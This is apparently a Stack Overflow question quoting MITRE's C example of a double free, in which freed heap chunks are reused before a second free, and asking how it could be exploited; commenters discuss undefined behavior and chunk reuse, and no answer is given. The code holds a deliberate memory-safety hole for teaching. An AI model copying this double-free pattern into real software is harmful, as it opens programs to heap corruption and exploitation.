1

I'm trying to understand the following code example found on mitre:

#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)

int main(int argc, char **argv) {
  char *buf1R1;
  char *buf2R1;
  char *buf1R2;

  buf1R1 = (char *) malloc(BUFSIZE2);
  buf2R1 = (char *) malloc(BUFSIZE2);

  free(buf1R1);
  free(buf2R1);

  buf1R2 = (char *) malloc(BUFSIZE1);
  strncpy(buf1R2, argv[1], BUFSIZE1-1);

  free(buf2R1);
  free(buf1R2);
}

They state that it

should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on

but they don't explain how. How is it possible?

Enrico R.
  • 21
  • 5
  • 2
    The second `free(buf2R1);` invokes undefined behavior. So, anything can happen, including that it works as the writer might expect. Or it crashes at this point. Or the compiler sees that the program has no observable behavior and discards everything. – mch Sep 10 '21 at 11:07
  • It's not clear to me what the particular example presented is intended to demonstrate. It seems to be crafted with a specific failure mode in mind, but I don't see what, and it is unnecessarily complex just for demonstrating a double free. – John Bollinger Sep 10 '21 at 11:22
  • Hmmm... not really sure but... When `free(buf2R1);` is called the second time, `free` may change the data belonging to `buf1R2` if `buf1R2` is re-using the memory from the first two `malloc`. Notice how the program is designed so that the 3rd `malloc` uses approx. the same memory as the first 2 `malloc` – Support Ukraine Sep 10 '21 at 12:01
  • https://stackoverflow.com/questions/21057393/what-does-double-free-mean – kenlukas Sep 10 '21 at 13:28
  • @mch but the undefined behavior happens at the end of the program. I really don't understand how to exploit this even if a really bad thing happens like malloc assigning the same block of memory twice – Enrico R. Sep 10 '21 at 16:01

0 Answers0